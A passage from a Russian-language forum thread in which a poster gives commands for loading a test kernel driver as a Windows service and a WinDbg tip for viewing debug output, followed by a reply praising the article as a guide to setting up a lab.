sc create yourservice binPath= C:\path\to\sys type= kernel
sc start/stop/delete yourservice

Также стоит добавить инструмент по типу DbgView для просмотра отладочных сообщений, но по-моему проще в отладочной сессии написать:
ed nt!Kd_Default_Mask 8 и смотреть вывод отладочных сообщений в самом отладчике. Количество их небольшое при такой маске, нужное не потеряется.
 

Grotendique

(L3) cache
Пользователь
Регистрация
06.05.2020
Сообщения
163
Реакции
41
Отличное наглядное пособие, как обустроить свою лабораторию.
И главное, что статья авторская, а не из других ресурсов, что весьма ценно.
P.S. Ждём следующих твоих работ.
 
Верх